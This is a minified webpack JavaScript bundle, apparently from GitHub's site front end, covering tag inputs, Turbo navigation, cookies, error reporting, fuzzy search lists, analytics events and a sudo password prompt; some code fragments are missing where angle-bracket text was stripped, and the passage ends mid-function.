_{constructor(u){this.container=u.container,this.selections=u.selections,this.inputWrap=u.inputWrap,this.input=u.input,this.tagTemplate=u.tagTemplate,this.form=this.input.form,this.autoComplete=u.autoComplete,this.multiTagInput=u.multiTagInput}setup(){this.container.addEventListener("click",u=>{u.target.closest(".js-remove")?this.removeTag(u):this.onFocus()}),this.input.addEventListener("focus",this.onFocus.bind(this)),this.input.addEventListener("blur",this.onBlur.bind(this)),this.input.addEventListener("keydown",this.onKeyDown.bind(this)),this.form.addEventListener("submit",this.onSubmit.bind(this)),this.autoComplete.addEventListener("auto-complete-change",()=>{this.selectTag(this.autoComplete.value)})}onFocus(){this.inputWrap.classList.add("focus"),this.input!==document.activeElement&&this.input.focus()}onBlur(){this.inputWrap.classList.remove("focus"),this.autoComplete.open||this.onSubmit()}onSubmit(){this.input.value&&(this.selectTag(this.input.value),this.autoComplete.open=!1)}onKeyDown(u){switch((0,T.EL)(u)){case"Backspace":this.onBackspace();break;case"Enter":case"Tab":this.taggifyValueWhenSuggesterHidden(u);break;case",":case" ":this.taggifyValue(u);break}}taggifyValueWhenSuggesterHidden(u){!this.autoComplete.open&&this.input.value&&(u.preventDefault(),this.selectTag(this.input.value))}taggifyValue(u){this.input.value&&(u.preventDefault(),this.selectTag(this.input.value),this.autoComplete.open=!1)}selectTag(u){const g=this.normalizeTag(u),h=this.selectedTags();let d=!1;for(let m=0;mg.value).filter(g=>g.length>0)}}s(_,"TagInput"),(0,C.N7)(".js-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!1}).setup()}}),(0,C.N7)(".js-multi-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!0}).setup()}})},53412:($,D,f)=>{"use strict";f.d(D,{H:()=>_});var T=f(29946),c=f(49815),C=f(11190);if((0,c.c)("TURBO")){(async()=>{const{PageRenderer:u,session:g,navigator:h}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395)),d=g.adapter;function m(){d.progressBar.setValue(0),d.progressBar.show()}s(m,"beginProgressBar");function p(){d.progressBar.setValue(1),d.progressBar.hide()}s(p,"completeProgressBar"),document.addEventListener("turbo:before-fetch-request",q=>{const E=q.target;if(_(E)&&m(),(E==null?void 0:E.tagName)==="HTML"){const k=q;k.detail.fetchOptions.headers["Turbo-Visit"]="true"}const A=(0,C.I)(q.detail.url.pathname);if(A){const k=new URLSearchParams(q.detail.url.search);for(const[j,P]of Object.entries(A))P&&k.set(j,P);q.detail.url.search=k.toString()}}),document.addEventListener("turbo:frame-render",q=>{_(q.target)&&p()}),document.addEventListener(T.QE.START,m),document.addEventListener(T.QE.END,p);const b=Object.getOwnPropertyDescriptor(u.prototype,"reloadReason").get;Object.defineProperty(u.prototype,"reloadReason",{get(){const q=b.call(this);if(q.reason!=="tracked_element_mismatch")return q;const E=Object.fromEntries(v(this.currentHeadSnapshot)),A=[];for(const[k,j]of v(this.newHeadSnapshot))E[k]!==j&&A.push(k.replace(/^x-/,"").replaceAll("-","_"));return{reason:`tracked_element_mismatch-${A.join("-")}`}}});function*v(q){for(const E of Object.values(q.detailsByOuterHTML))if(E.tracked)for(const A of E.elements)A instanceof HTMLMetaElement&&A.getAttribute("http-equiv")&&(yield[A.getAttribute("http-equiv")||"",A.getAttribute("content")||""])}s(v,"getSnapshotSignatures");function L(q){const E=history[q];history[q]=function(A,k,j){var P;function M(O,V,H){E.call(this,{...A,...O},V,H)}s(M,"oldHistoryWithMergedState"),h.history.update(M,new URL(j||location.href,location.href),(P=A==null?void 0:A.turbo)==null?void 0:P.restorationIdentifier)}}s(L,"patchHistoryApi"),L("replaceState"),L("pushState")})();const x=s((u,g)=>{const h=new URL(u,window.location.origin),d=new URL(g,window.location.origin);return Boolean(d.hash)&&h.hash!==d.hash&&h.host===d.host&&h.pathname===d.pathname&&h.search===d.search},"isHashNavigation");document.addEventListener("turbo:click",function(u){if(!(u.target instanceof HTMLElement))return;const g=u.target.closest("[data-turbo-frame]");g instanceof HTMLElement&&u.target.setAttribute("data-turbo-frame",g.getAttribute("data-turbo-frame")||""),u instanceof CustomEvent&&x(location.href,u.detail.url)&&u.preventDefault()}),document.addEventListener("turbo:before-render",u=>{if(!(u instanceof CustomEvent))return;const g=u.detail.newBody.ownerDocument.documentElement,h=document.documentElement;for(const d of h.attributes)!g.hasAttribute(d.nodeName)&&d.nodeName!=="aria-busy"&&h.removeAttribute(d.nodeName);for(const d of g.attributes)h.getAttribute(d.nodeName)!==d.nodeValue&&h.setAttribute(d.nodeName,d.nodeValue)}),document.addEventListener("turbo:visit",T.LD),document.addEventListener("turbo:render",T.FP),document.addEventListener("beforeunload",T.FP),document.addEventListener("turbo:load",u=>{Object.keys(u.detail.timing).length===0?(0,T.OE)()||(0,T.Po)()?(0,T.Ys)():(0,T.F6)():(0,T.Xk)()}),document.addEventListener("turbo:before-visit",function(u){var g;const h=(g=window.onbeforeunload)==null?void 0:g.call(window,u);h&&(confirm(h)?window.onbeforeunload=null:u.preventDefault())}),document.addEventListener("turbo:reload",function(u){u instanceof CustomEvent&&(0,T.Ak)(u.detail.reason)}),document.addEventListener(T.QE.SUCCESS,()=>{if(location.hash==="")return;const u=document.createElement("a");u.href=`#${location.hash.slice(1)}`,u.click()})}const _=s(x=>(x==null?void 0:x.tagName)==="TURBO-FRAME","isTurboFrame")},95128:()=>{function $(){const f=document.createElement("div");return f.style.cssText="-ms-user-select: element; user-select: contain;",f.style.getPropertyValue("-ms-user-select")==="element"||f.style.getPropertyValue("-ms-user-select")==="contain"||f.style.getPropertyValue("user-select")==="contain"}s($,"supportsUserSelectContain");function D(f){if(!(f.target instanceof Element))return;const T=f.target.closest(".user-select-contain");if(!T)return;const c=window.getSelection();if(!c||!c.rangeCount||!c.rangeCount||c.type!=="Range")return;const C=c.getRangeAt(0).commonAncestorContainer;T.contains(C)||c.selectAllChildren(T)}s(D,"handleUserSelectContain"),$()||document.addEventListener("click",D)},29790:($,D,f)=>{"use strict";f.d(D,{Dw:()=>x,G5:()=>T,M9:()=>g,n6:()=>_});function T(b){const v=b.match(/#?(?:L)(\d+)((?:C)(\d+))?/g);if(v)if(v.length===1){const L=u(v[0]);return L?Object.freeze({start:L,end:L}):void 0}else if(v.length===2){const L=u(v[0]),q=u(v[1]);return!L||!q?void 0:m(Object.freeze({start:L,end:q}))}else return;else return}s(T,"parseBlobRange");function c(b){const{start:v,end:L}=m(b);return v.column!=null&&L.column!=null?`L${v.line}C${v.column}-L${L.line}C${L.column}`:v.line===L.line?`L${v.line}`:`L${v.line}-L${L.line}`}s(c,"formatBlobRange");function C(b){const v=b.match(/(file-.+?-)L\d+?/i);return v?v[1]:""}s(C,"parseAnchorPrefix");function _(b){const v=T(b),L=C(b);return{blobRange:v,anchorPrefix:L}}s(_,"parseFileAnchor");function x({anchorPrefix:b,blobRange:v}){return v?`#${b}${c(v)}`:"#"}s(x,"formatBlobRangeAnchor");function u(b){const v=b.match(/L(\d+)/),L=b.match(/C(\d+)/);return v?Object.freeze({line:parseInt(v[1]),column:L?parseInt(L[1]):null}):null}s(u,"parseBlobOffset");function g(b,v){const[L,q]=h(b.start,!0,v),[E,A]=h(b.end,!1,v);if(!L||!E)return;let k=q,j=A;if(k===-1&&(k=0),j===-1&&(j=E.childNodes.length),!L.ownerDocument)throw new Error("DOMRange needs to be inside document");const P=L.ownerDocument.createRange();return P.setStart(L,k),P.setEnd(E,j),P}s(g,"DOMRangeFromBlob");function h(b,v,L){const q=[null,0],E=L(b.line);if(!E)return q;if(b.column==null)return[E,-1];let A=b.column-1;const k=d(E);for(let j=0;j{"use strict";f.d(D,{P:()=>C,g:()=>_});var T=f(59753);const c=new WeakMap;function C(g){return c.get(g)}s(C,"getCodeEditor");async function _(g){return c.get(g)||x(await u(g,"codeEditor:ready"))}s(_,"getAsyncCodeEditor");function x(g){if(!(g instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=g.detail.editor;if(!g.target)throw new Error("assert: event.target is null");return c.set(g.target,h),h}s(x,"onEditorFromEvent"),(0,T.on)("codeEditor:ready",".js-code-editor",x);function u(g,h){return new Promise(d=>{g.addEventListener(h,d,{once:!0})})}s(u,"nextEvent")},64926:($,D,f)=>{"use strict";f.d(D,{$1:()=>c,d8:()=>_,ej:()=>T,kT:()=>x});function T(u){return c(u)[0]}s(T,"getCookie");function c(u){const g=[];for(const h of C()){const[d,m]=h.trim().split("=");u===d&&typeof m!="undefined"&&g.push({key:d,value:m})}return g}s(c,"getCookies");function C(){try{return document.cookie.split(";")}catch{return[]}}s(C,"readCookies");function _(u,g,h=null,d=!1,m="lax"){let p=document.domain;if(p==null)throw new Error("Unable to get document domain");p.endsWith(".github.com")&&(p="github.com");const b=location.protocol==="https:"?"; secure":"",v=h?`; expires=${h}`:"";d===!1&&(p=`.${p}`);try{document.cookie=`${u}=${g}; path=/; domain=${p}${v}${b}; samesite=${m}`}catch{}}s(_,"setCookie");function x(u,g=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const d=new Date().getTime(),m=new Date(d-1).toUTCString(),p=location.protocol==="https:"?"; secure":"",b=`; expires=${m}`;g===!1&&(h=`.${h}`);try{document.cookie=`${u}=''; path=/; domain=${h}${b}${p}`}catch{}}s(x,"deleteCookie")},75371:($,D,f)=>{"use strict";f.d(D,{VZ:()=>c,_C:()=>C,cv:()=>T,oE:()=>_});function T(g){const h=g.getBoundingClientRect();return{top:h.top+window.pageYOffset,left:h.left+window.pageXOffset}}s(T,"offset");function c(g){let h=g;const d=h.ownerDocument;if(!d||!h.offsetParent)return;const m=d.defaultView.HTMLElement;if(h!==d.body){for(;h!==d.body;){if(h.parentElement instanceof m)h=h.parentElement;else return;const{position:p,overflowY:b,overflowX:v}=getComputedStyle(h);if(p==="fixed"||b==="auto"||v==="auto"||b==="scroll"||v==="scroll")break}return h instanceof Document?null:h}}s(c,"overflowParent");function C(g,h){let d=h;const m=g.ownerDocument;if(!m)return;const p=m.documentElement;if(!p||g===p)return;const b=_(g,d);if(!b)return;d=b._container;const v=d===m.documentElement&&m.defaultView?{top:m.defaultView.pageYOffset,left:m.defaultView.pageXOffset}:{top:d.scrollTop,left:d.scrollLeft},L=b.top-v.top,q=b.left-v.left,E=d.clientHeight,A=d.clientWidth,k=E-(L+g.offsetHeight),j=A-(q+g.offsetWidth);return{top:L,left:q,bottom:k,right:j,height:E,width:A}}s(C,"overflowOffset");function _(g,h){let d=g;const m=d.ownerDocument;if(!m)return;const p=m.documentElement;if(!p)return;const b=m.defaultView.HTMLElement;let v=0,L=0;const q=d.offsetHeight,E=d.offsetWidth;for(;!(d===m.body||d===h);)if(v+=d.offsetTop||0,L+=d.offsetLeft||0,d.offsetParent instanceof b)d=d.offsetParent;else return;let A,k,j;if(!h||h===m||h===m.defaultView||h===m.documentElement||h===m.body)j=p,A=x(m.body,p),k=u(m.body,p);else if(h instanceof b)j=h,A=h.scrollHeight,k=h.scrollWidth;else return;const P=A-(v+q),M=k-(L+E);return{top:v,left:L,bottom:P,right:M,_container:j}}s(_,"positionedOffset");function x(g,h){return Math.max(g.scrollHeight,h.scrollHeight,g.offsetHeight,h.offsetHeight,h.clientHeight)}s(x,"getDocumentHeight");function u(g,h){return Math.max(g.scrollWidth,h.scrollWidth,g.offsetWidth,h.offsetWidth,h.clientWidth)}s(u,"getDocumentWidth")},73185:($,D,f)=>{"use strict";f.d(D,{Dc:()=>_,bP:()=>g,g:()=>u,gJ:()=>T,rs:()=>c});function T(){return Promise.resolve()}s(T,"microtask");function c(){return new Promise(window.requestAnimationFrame)}s(c,"animationFrame");async function C(h,d){let m;const p=new Promise((b,v)=>{m=self.setTimeout(()=>v(new Error("timeout")),h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(C,"timeout");async function _(h,d){let m;const p=new Promise(b=>{m=self.setTimeout(b,h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(_,"wait");function x(h){return new Promise((d,m)=>{const p=new Error("aborted");p.name="AbortError",h.aborted?m(p):h.addEventListener("abort",()=>m(p))})}s(x,"whenAborted");function u(h){const d=[];return function(m){d.push(m),d.length===1&&queueMicrotask(()=>{const p=[...d];d.length=0,h(p)})}}s(u,"taskQueue");async function g(h){requestAnimationFrame(()=>{setTimeout(h)})}s(g,"afterNextPaint")},92003:($,D,f)=>{"use strict";f.d(D,{aJ:()=>k,cI:()=>q,eK:()=>p});var T=f(29946),c=f(97474),C=f(82918),_=f(50232),x=f(28382),u=f(47930),g=f(49815);let h=!1,d=0;const m=Date.now();function p(M,O={}){M&&M.name!=="AbortError"&&b(L(v(M),O))}s(p,"reportError");async function b(M){var O,V;if(!P())return;const H=(V=(O=document.head)==null?void 0:O.querySelector('meta[name="browser-errors-url"]'))==null?void 0:V.content;if(!!H){if(A(M.error.stacktrace)){h=!0;return}d++;try{await fetch(H,{method:"post",body:JSON.stringify(M)})}catch{}}}s(b,"report");function v(M){return{type:M.name,value:M.message,stacktrace:q(M)}}s(v,"formatError");function L(M,O={}){return Object.assign({error:M,sanitizedUrl:(0,u.S)()||window.location.href,readyState:document.readyState,referrer:(0,T.wP)(),timeSinceLoad:Math.round(Date.now()-m),user:k()||void 0,turbo:(0,g.c)("TURBO")},O)}s(L,"errorContext");function q(M){return(0,x.Q)(M.stack||"").map(O=>({filename:O.file||"",function:String(O.methodName),lineno:(O.lineNumber||0).toString(),colno:(O.column||0).toString()}))}s(q,"stacktrace");const E=/(chrome|moz|safari)-extension:\/\//;function A(M){return M.some(O=>E.test(O.filename)||E.test(O.function))}s(A,"isExtensionError");function k(){var M,O;const V=(O=(M=document.head)==null?void 0:M.querySelector('meta[name="user-login"]'))==null?void 0:O.content;return V||`anonymous-${(0,C.b)()}`}s(k,"pageUser");let j=!1;window.addEventListener("pageshow",()=>j=!1),window.addEventListener("pagehide",()=>j=!0),document.addEventListener(T.QE.ERROR,M=>{b(L({type:"SoftNavError",value:M.detail,stacktrace:q(new Error)}))});function P(){return!j&&!h&&d<10&&(0,_.Gb)()&&!(0,c.Z)(document)}s(P,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",O=>{p(O.data.error)})},98670:($,D,f)=>{"use strict";f.d(D,{W:()=>c});function*T(C,_){for(const x of C){const u=_(x);u!=null&&(yield u)}}s(T,"filterMap");function c(C,_,x){return[...T(C,s(g=>{const h=_(g);return h!=null?[g,h]:null},"sortKey"))].sort((g,h)=>x(g[1],h[1])).map(([g])=>g)}s(c,"filterSort")},8089:($,D,f)=>{"use strict";f.d(D,{EW:()=>T,Qw:()=>C,qu:()=>x});function T(u,g){let h=_(u,g);if(h&&g.indexOf("/")===-1){const d=u.substring(u.lastIndexOf("/")+1);h+=_(d,g)}return h}s(T,"fuzzyScore");function c(u){const g=u.toLowerCase().split("");let h="";for(let d=0;d"),m=!0):m&&(p.push(""),m=!1),p.push(v))}u.innerHTML=p.join("")}else{const d=u.innerHTML.trim(),m=d.replace(/<\/?mark>/g,"");d!==m&&(u.innerHTML=m)}}s(C,"fuzzyHighlightElement");function _(u,g){let h=u;if(h===g)return 1;const d=h.length;let m=0,p=0;for(let q=0;q-1?j:Math.max(A,k);if(P===-1)return 0;m+=.1,h[P]===E&&(m+=.1),P===0&&(m+=.8,q===0&&(p=1)),h.charAt(P-1)===" "&&(m+=.8),h=h.substring(P+1,d)}const b=g.length,v=m/b;let L=(v*(b/d)+v)/2;return p&&L+.1<1&&(L+=.1),L}s(_,"stringScore");function x(u,g){return u.score>g.score?-1:u.scoreg.text?1:0}s(x,"compare")},99254:($,D,f)=>{"use strict";f.d(D,{Z:()=>d});var T=f(47142);const c=s((m,p,b)=>{if(!(0,T.CD)(m,p))return-1/0;const v=(0,T.Gs)(m,p);return v{m.innerHTML="";let v=0;for(const L of(0,T.m7)(p,b)){b.slice(v,L)!==""&&m.appendChild(document.createTextNode(b.slice(v,L))),v=L+1;const E=document.createElement("mark");E.textContent=b[L],m.appendChild(E)}m.appendChild(document.createTextNode(b.slice(v)))},"highlightElement"),_=new WeakMap,x=new WeakMap,u=new WeakMap,g=s(m=>{if(!u.has(m)&&m instanceof HTMLElement){const p=(m.getAttribute("data-value")||m.textContent||"").trim();return u.set(m,p),p}return u.get(m)||""},"getTextCache");class h extends HTMLElement{connectedCallback(){const p=this.querySelector("ul");if(!p)return;const b=new Set(p.querySelectorAll("li")),v=this.querySelector("input");v instanceof HTMLInputElement&&v.addEventListener("input",()=>{this.value=v.value});const L=new MutationObserver(E=>{let A=!1;for(const k of E)if(k.type==="childList"&&k.addedNodes.length){for(const j of k.addedNodes)if(j instanceof HTMLLIElement&&!b.has(j)){const P=g(j);A=A||(0,T.CD)(this.value,P),b.add(j)}}A&&this.sort()});L.observe(p,{childList:!0});const q={handler:L,items:b,lazyItems:new Map,timer:null};x.set(this,q)}disconnectedCallback(){const p=x.get(this);p&&(p.handler.disconnect(),x.delete(this))}addLazyItems(p,b){const v=x.get(this);if(!v)return;const{lazyItems:L}=v,{value:q}=this;let E=!1;for(const A of p)L.set(A,b),E=E||Boolean(q)&&(0,T.CD)(q,A);E&&this.sort()}sort(){const p=_.get(this);p&&(p.aborted=!0);const b={aborted:!1};_.set(this,b);const{minScore:v,markSelector:L,maxMatches:q,value:E}=this,A=x.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:E})))return;const{items:k,lazyItems:j}=A,P=this.hasAttribute("mark-selector"),M=this.querySelector("ul");if(!M)return;const O=[];if(E){for(const V of k){const H=g(V),N=c(E,H,v);N!==-1/0&&O.push({item:V,score:N})}for(const[V,H]of j){const N=c(E,V,v);N!==-1/0&&O.push({text:V,render:H,score:N})}O.sort((V,H)=>H.score-V.score).splice(q)}else{let V=O.length;for(const H of k){if(V>=q)break;O.push({item:H,score:1}),V+=1}for(const[H,N]of j){if(V>=q)break;O.push({text:H,render:N,score:1}),V+=1}}requestAnimationFrame(()=>{if(b.aborted)return;const V=M.querySelector('input[type="radio"]:checked');M.innerHTML="";let H=0;const N=s(()=>{if(b.aborted)return;const K=Math.min(O.length,H+100),W=document.createDocumentFragment();for(let te=H;te0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:O.length}))}},"nextBatch");N()})}get value(){return this.getAttribute("value")||""}set value(p){this.setAttribute("value",p)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(p){p?this.setAttribute("mark-selector",p):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(p){Number.isNaN(p)||this.setAttribute("min-score",String(p))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(p){Number.isNaN(p)||this.setAttribute("max-matches",String(p))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(p,b,v){if(b===v)return;const L=x.get(this);!L||(L.timer&&window.clearTimeout(L.timer),L.timer=window.setTimeout(()=>this.sort(),100))}}s(h,"FuzzyListElement");const d=h;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=h,window.customElements.define("fuzzy-list",h))},30481:($,D,f)=>{"use strict";f.d(D,{Y:()=>g,q:()=>h});var T=f(88149),c=f(86058);const C="dimension_";let _;const x=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const d=(0,T.n)("octolytics");delete d.baseContext,_=new c.R(d)}catch{}function u(d){const m=(0,T.n)("octolytics").baseContext||{};if(m){delete m.app_id,delete m.event_url,delete m.host;for(const v in m)v.startsWith(C)&&(m[v.replace(C,"")]=m[v],delete m[v])}const p=document.querySelector("meta[name=visitor-payload]");if(p){const v=JSON.parse(atob(p.content));Object.assign(m,v)}const b=new URLSearchParams(window.location.search);for(const[v,L]of b)x.includes(v.toLowerCase())&&(m[v]=L);return Object.assign(m,d)}s(u,"extendBaseContext");function g(d){_==null||_.sendPageView(u(d))}s(g,"sendPageView");function h(d,m){var p,b;const v=(b=(p=document.head)==null?void 0:p.querySelector('meta[name="current-catalog-service"]'))==null?void 0:b.content,L=v?{service:v}:{};for(const[q,E]of Object.entries(m))E!=null&&(L[q]=`${E}`);_==null||_.sendEvent(d||"unknown",u(L))}s(h,"sendEvent")},53692:($,D,f)=>{"use strict";f.d(D,{$S:()=>c,Fk:()=>C,sz:()=>_});var T=f(45922);function c(x,u,g){const h={hydroEventPayload:x,hydroEventHmac:u,visitorPayload:"",visitorHmac:"",hydroClientContext:g},d=document.querySelector("meta[name=visitor-payload]");d instanceof HTMLMetaElement&&(h.visitorPayload=d.content);const m=document.querySelector("meta[name=visitor-hmac]")||"";m instanceof HTMLMetaElement&&(h.visitorHmac=m.content),(0,T.b)(h,!0)}s(c,"sendData");function C(x){const u=x.getAttribute("data-hydro-view")||"",g=x.getAttribute("data-hydro-view-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(C,"trackView");function _(x){const u=x.getAttribute("data-hydro-click-payload")||"",g=x.getAttribute("data-hydro-click-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(_,"sendHydroEvent")},51244:($,D,f)=>{"use strict";f.d(D,{vt:()=>A,WF:()=>E,DV:()=>q,jW:()=>M,Nc:()=>p,$t:()=>C});const T={frequency:.6,recency:.4};function c(H,N){return H.sort((K,W)=>N(K)-N(W))}s(c,"sortBy");function C(H){const N=x(H),K=u(H);return function(W){return _(N.get(W)||0,K.get(W)||0)}}s(C,"scorer");function _(H,N){return H*T.frequency+N*T.recency}s(_,"score");function x(H){const N=[...Object.values(H)].reduce((K,W)=>K+W.visitCount,0);return new Map(Object.keys(H).map(K=>[K,H[K].visitCount/N]))}s(x,"frequencyMap");function u(H){const N=c([...Object.keys(H)],W=>H[W].lastVisitedAt),K=N.length;return new Map(N.map((W,U)=>[W,(U+1)/K]))}s(u,"recencyMap");const g=/^\/orgs\/([a-z0-9-]+)\/teams\/([\w-]+)/,h=[/^\/([^/]+)\/([^/]+)\/?$/,/^\/([^/]+)\/([^/]+)\/blob/,/^\/([^/]+)\/([^/]+)\/tree/,/^\/([^/]+)\/([^/]+)\/issues/,/^\/([^/]+)\/([^/]+)\/pulls?/,/^\/([^/]+)\/([^/]+)\/pulse/],d=[["organization",/^\/orgs\/([a-z0-9-]+)\/projects\/([0-9-]+)/],["repository",/^\/([^/]+)\/([^/]+)\/projects\/([0-9-]+)/]],m=100;function p(H){const N=H.match(g);if(N){v(q(N[1],N[2]));return}let K;for(let U=0,te=d.length;UK(te)-K(U)).slice(0,m/2);return Object.fromEntries(W.map(U=>[U,H[U]]))}s(b,"limitedPageViews");function v(H){const N=M(),K=L(),W=N[H]||{lastVisitedAt:K,visitCount:0};W.visitCount+=1,W.lastVisitedAt=K,N[H]=W,P(b(N))}s(v,"logPageViewByKey");function L(){return Math.floor(Date.now()/1e3)}s(L,"currentEpochTimeInSeconds");function q(H,N){return`team:${H}/${N}`}s(q,"buildTeamKey");function E(H,N){return`repository:${H}/${N}`}s(E,"buildRepositoryKey");function A(H,N){return`project:${H}/${N}`}s(A,"buildProjectKey");const k=/^(team|repository|project):[^/]+\/[^/]+(\/([^/]+))?$/,j="jump_to:page_views";function P(H){O(j,JSON.stringify(H))}s(P,"setPageViewsMap");function M(){const H=V(j);if(!H)return{};let N;try{N=JSON.parse(H)}catch{return P({}),{}}const K={};for(const W in N)W.match(k)&&(K[W]=N[W]);return K}s(M,"getPageViewsMap");function O(H,N){try{window.localStorage.setItem(H,N)}catch{}}s(O,"setItem");function V(H){try{return window.localStorage.getItem(H)}catch{return null}}s(V,"getItem")},11190:($,D,f)=>{"use strict";f.d(D,{I:()=>x,n:()=>_});var T=f(24216);const c=["notification_referrer_id","notifications_before","notifications_after","notifications_query"],C="notification_shelf";function _(d,m=null){return d.has("notification_referrer_id")?(u(d,m),g(d)):null}s(_,"storeAndStripShelfParams");function x(d=null){const m=h(d);if(!m)return(0,T.cl)(C),null;try{const p=(0,T.rV)(C);if(!p)return null;const b=JSON.parse(p);if(!b||!b.pathname)throw new Error("Must have a pathname");if(b.pathname!==m)throw new Error("Stored pathname does not match current pathname.");const v={};for(const L of c)v[L]=b[L];return v}catch{return(0,T.cl)(C),null}}s(x,"getStoredShelfParamsForCurrentPage");function u(d,m){const p=h(m);if(!p)return;const b={pathname:p};for(const v of c){const L=d.get(v);L&&(b[v]=L)}(0,T.LS)(C,JSON.stringify(b))}s(u,"storeShelfParams");function g(d){for(const m of c)d.delete(m);return d}s(g,"deleteShelfParams");function h(d){d=d||window.location.pathname;const m=/^(\/[^/]+\/[^/]+\/pull\/[^/]+)/,p=d.match(m);return p?p[0]:null}s(h,"getCurrentPullRequestPathname")},32904:($,D,f)=>{"use strict";f.d(D,{a:()=>T});function T(x,u){const g=x.closest("[data-notification-id]");u.hasAttribute("data-status")&&c(g,u.getAttribute("data-status")),u.hasAttribute("data-subscription-status")&&C(g,u.getAttribute("data-subscription-status")),u.hasAttribute("data-starred-status")&&_(g,u.getAttribute("data-starred-status"))}s(T,"updateNotificationStates");function c(x,u){x.classList.toggle("notification-archived",u==="archived"),x.classList.toggle("notification-unread",u==="unread"),x.classList.toggle("notification-read",u==="read")}s(c,"toggleNotificationStatus");function C(x,u){x.classList.toggle("notification-unsubscribed",u==="unsubscribed")}s(C,"toggleNotificationSubscriptionStatus");function _(x,u){x.classList.toggle("notification-starred",u==="starred")}s(_,"toggleNotificationStarredStatus")},19218:($,D,f)=>{"use strict";f.d(D,{v:()=>T});function T(c,C){C.appendChild(c.extractContents()),c.insertNode(C)}s(T,"surroundContents")},25331:($,D,f)=>{"use strict";f.d(D,{e:()=>T});function T(c){const C=c||window.location,_=document.head&&document.head.querySelector("meta[name=session-resume-id]");return _ instanceof HTMLMetaElement&&_.content||C.pathname}s(T,"getPageID")},82841:($,D,f)=>{"use strict";f.d(D,{Z:()=>m});var T=f(12737),c=f(29719),C=f(65935),_=f(5642);let x=!1;function u(p){const b=new URL(p,window.location.origin),v=new URLSearchParams(b.search.slice(1));return v.set("webauthn-support",(0,_.T)()),b.search=v.toString(),b.toString()}s(u,"urlWithParams");async function g(){const p=document.querySelector("link[rel=sudo-modal]"),b=document.querySelector(".js-sudo-prompt");if(b instanceof HTMLTemplateElement)return b;if(p){const v=await(0,c.a)(document,u(p.href));return document.body.appendChild(v),document.querySelector(".js-sudo-prompt")}else throw new Error("couldn't load sudo prompt")}s(g,"loadPromptTemplate");let h=!1;async function d(){if(x)return!1;x=!0,h=!1;const b=(await g()).content.cloneNode(!0),v=await(0,T.W)({content:b});return await new Promise(L=>{v.addEventListener("dialog:remove",function(){x=!1,L()},{once:!0})}),h}s(d,"sudoPrompt"),(0,C.AC)(".js-sudo-form",async function(p,b){try{await b.text()}catch(v){if(!v.response)throw v;let L;switch(v.response.status){case 401:L="Incorrect password.";break;case 429:L="Too many password attempts. Please wait and try again later.";break;default:L="Failed to receive a response. Please try again later."}p.querySelector(".js-sudo-error").textContent=L,p.querySelector(".js-sudo-error").hidden=!1,p.querySelector(".js-sudo-password").value="";return}h=!0,p.closest("details").removeAttribute("open")});async function m(){const p=await fetch("/sessions/in_sudo",{headers:{accept:"application/json","X-Requested-With":"XMLHttpRequest"}});return p.ok&&await p.text()==="true"?!0:d()}s(m,"triggerSudoPrompt")},40764:($,D,f)=>{"use strict";f.d(D,{Om:()=>_,lp:()=>c,rq:()=>T,t4:()=>C,yb:()=>u});function T(g){const h="\u200D",d=g.split(h);let m=0;for(const p of d)m+=Array.from(p.split(/[\ufe00-\ufe0f]/).join("")).length;return m/d.length}s(T,"getUtf8StringLength");function c(g,h,d){let m=g.value.substring(0,g.selectionEnd||0),p=g.value.substring(g.selectionEnd||0);return m=m.replace(h,d),p=p.replace(h,d),x(g,m+p,m.length),d}s(c,"replaceText");function C(g,h,d){if(g.selectionStart===null||g.selectionEnd===null)return c(g,h,d);const m=g.value.substring(0,g.selectionStart),p=g.value.substring(g.selectionEnd);return x(g,m+d+p,m.length),d}s(C,"replaceSelection");function _(g,h,d={}){const m=g.selectionEnd||0,p=g.value.substring(0,m),b=g.value.substring(m),v=g.value===""||p.match(/\n$/)?"":` +`,L=d.appendNewline?` +`:"",q=v+h+L;g.value=p+q+b;const E=m+q.length;return g.selectionStart=E,g.selectionEnd=E,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),g.focus(),q}s(_,"insertText");function x(g,h,d){g.value=h,g.selectionStart=d,g.selectionEnd=d,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1}))}s(x,"setTextareaValueAndCursor");function u(g,h){const d=[...g],m=new TextEncoder,p=new Uint8Array(4);for(let b=0;b=h))break}return h}s(u,"GetCharIndexFromBytePosition")},66899:($,D,f)=>{"use strict";f.d(D,{dY:()=>h,iU:()=>g,oq:()=>u});const T=new WeakMap;function c(d){const m=T.get(d);!m||(m.timer!=null&&clearTimeout(m.timer),m.timer=window.setTimeout(()=>{m.timer!=null&&(m.timer=null),m.inputed=!1,m.listener.call(null,d)},m.wait))}s(c,"schedule");function C(d){const 